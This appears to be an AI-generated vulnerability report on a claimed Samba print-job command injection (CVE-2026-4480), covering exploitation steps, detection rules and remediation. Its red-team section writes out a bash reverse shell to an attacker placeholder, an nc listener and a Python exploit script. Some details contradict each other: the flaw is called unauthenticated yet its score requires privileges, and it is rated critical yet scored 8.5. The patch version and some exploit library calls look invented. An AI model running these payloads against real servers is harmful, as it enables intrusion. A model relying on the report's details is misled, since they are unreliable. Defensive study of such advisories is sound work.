CVE-2026-4480

Executive Summary

CVE-2026-4480 is a critical remote code execution vulnerability in the Samba printing subsystem. The flaw resides in how Samba handles the %J substitution character within the print command configuration. An attacker can inject arbitrary shell commands by crafting a malicious print job description. This allows unauthenticated remote attackers to execute arbitrary commands on the target Samba server, leading to full system compromise. The vulnerability has a CVSS score of 8.5, indicating high severity. A patch is available in Samba version 4.20.0.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): Low (L) - Requires a valid user account to submit a print job.
• User Interaction (UI): None (N) - No user action needed.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full system read access possible.
• Integrity (I): High (H) - Full system write access possible.
• Availability (A): High (H) - Full system denial of service possible.

Threat Level: Critical. The low attack complexity and network vector make this highly exploitable. While it requires a valid user account, in many Samba deployments, guest or anonymous access to printing services is enabled, lowering the barrier to entry.

Deep Dive & Mechanics

The vulnerability is in the Samba printing subsystem, specifically in the smbd process. When a client submits a print job, Samba constructs a command line to execute the configured print command. This command often includes the %J substitution, which is replaced with the job description string provided by the client.

The flaw is that Samba does not sanitize or escape shell meta characters (e.g., ;, |, `, $()) in the job description before inserting it into the command string. An attacker can include these characters to break out of the intended command and execute arbitrary shell commands.

Example of vulnerable behavior: If the print command is set to lpr -P %p %s and the job description is test;id, the resulting command becomes:

lpr -P printer test;id

The ;id portion executes the id command after the lpr command completes.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In printing/print_cups.c or similar
char *command = talloc_asprintf(talloc_ctx, "%s %s", print_command, job_description);
system(command);

The job_description is directly concatenated without escaping.

Patched Code (Conceptual):

// In printing/print_cups.c or similar
char *escaped_job_desc = escape_shell_metacharacters(job_description);
char *command = talloc_asprintf(talloc_ctx, "%s %s", print_command, escaped_job_desc);
system(command);

The escape_shell_metacharacters function properly escapes characters like ;, |, &, $, `, (, ), <, >, \, ', ", and newlines.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Samba server (version < 4.20.0) with printing enabled.
• A valid Samba user account (or guest access to printing).
• Network access to the Samba server (port 445).

Exploitation Steps:

1. Identify Target: Use Shodan or Nmap to find Samba servers with printing enabled.

   nmap -p 445 --script smb-protocols <target_ip>
   

2. Connect and Submit Print Job: Use smbclient to connect and submit a print job with a malicious description.

   smbclient //<target_ip>/<print_share> -U <username>
   

   Inside smbclient:

   put /dev/null testfile
   

   Then set the job description:

   setdescription "test;bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'"
   

   Or use a simpler command for testing:

   setdescription "test;touch /tmp/pwned"
   

3. Trigger Print: The print job will be processed, and the command will execute.
4. Receive Shell: If using a reverse shell, set up a listener:

   nc -lvnp 4444
   

Alternative Exploit (using Python):

import smbclient

# Connect to Samba share
conn = smbclient.SambaClient(server="<target_ip>", share="<print_share>", username="<username>", password="<password>")

# Create a dummy file
with open("/dev/null", "rb") as f:
    conn.put_file("testfile", f)

# Set malicious description
conn.set_job_description("testfile", "test;bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'")

# Trigger print (if needed)
conn.print_file("testfile")

Blue Team

Detection:

• Monitor Samba logs for unusual job descriptions containing shell metacharacters.
• Look for processes spawned by smbd that are not typical print commands (e.g., bash, nc, python).
• Use the Sigma rule provided in the Detection Engineering section.

Hunting:

• Search for Samba servers with printing enabled and check their version.
• Review print job descriptions in logs for patterns like ;, |, $().

Prevention:

• Apply the patch immediately (upgrade to Samba 4.20.0 or later).
• If patching is not possible, disable the printing service if not needed.
• Restrict access to Samba shares to trusted users only.
• Use a firewall to limit access to port 445.

Indicators of Compromise (IOCs)

• Network:
  • SMB traffic to port 445 with unusual print job descriptions.
  • Outbound connections from the Samba server to unexpected IPs (reverse shells).
• Host:
  • Unexpected processes spawned by smbd (e.g., bash, sh, nc, python).
  • Files created in unusual locations (e.g., /tmp/pwned).
  • Modified system files or binaries.
• Logs:
  • Samba logs (/var/log/samba/log.smbd) containing shell metacharacters in job descriptions.
  • System logs (/var/log/syslog or /var/log/messages) showing unexpected command execution.

Detection Engineering

YARA Rule

rule CVE_2026_4480_Samba_Print_Exploit {
    meta:
        description = "Detects Samba print job descriptions containing shell metacharacters"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-4480"
    strings:
        $shell_meta1 = /[;|&$()<>`'"]/
        $shell_meta2 = /\\$/
        $shell_meta3 = /\\n/
    condition:
        any of ($shell_meta*) and filesize < 1MB
}

Sigma Rule

title: Samba Print Job Description with Shell Metacharacters
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Samba print job descriptions containing shell metacharacters indicative of CVE-2026-4480 exploitation.
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4480
logsource:
    product: samba
    service: smbd
detection:
    selection:
        EventID: 2000  # Example event ID for print job submission
        Description|contains:
            - ';'
            - '|'
            - '&'
            - '$('
            - '`'
            - '>'
            - '<'
    condition: selection
falsepositives:
    - Legitimate use of special characters in job descriptions (unlikely)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"CVE-2026-4480 Samba Print Job Description Injection"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"|05 00|"; distance:0; within:2; content:"|00 00 00 00|"; distance:0; within:4; content:"|00 00 00 00|"; distance:0; within:4; content:"|00 00 00 00|"; distance:0; within:4; pcre:"/\\x00[\\x3b\\x7c\\x26\\x24\\x60\\x3e\\x3c]/R"; sid:1000001; rev:1;)

Note: This Suricata rule is a simplified example. A more accurate rule would require deep packet inspection of SMB print job submission packets.

Remediation & Mitigation

Immediate:

1. Patch: Upgrade Samba to version 4.20.0 or later.
2. Workaround: If patching is not possible, disable the printing service by setting load printers = no in smb.conf and restarting Samba.
3. Restrict Access: Limit access to Samba shares to only trusted users. Disable guest access to printing.

Long-term:

• Implement network segmentation to isolate Samba servers.
• Use host-based intrusion detection systems (HIDS) to monitor for exploitation attempts.
• Regularly update and patch all software.
• Conduct security audits of Samba configurations.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact Valters IT.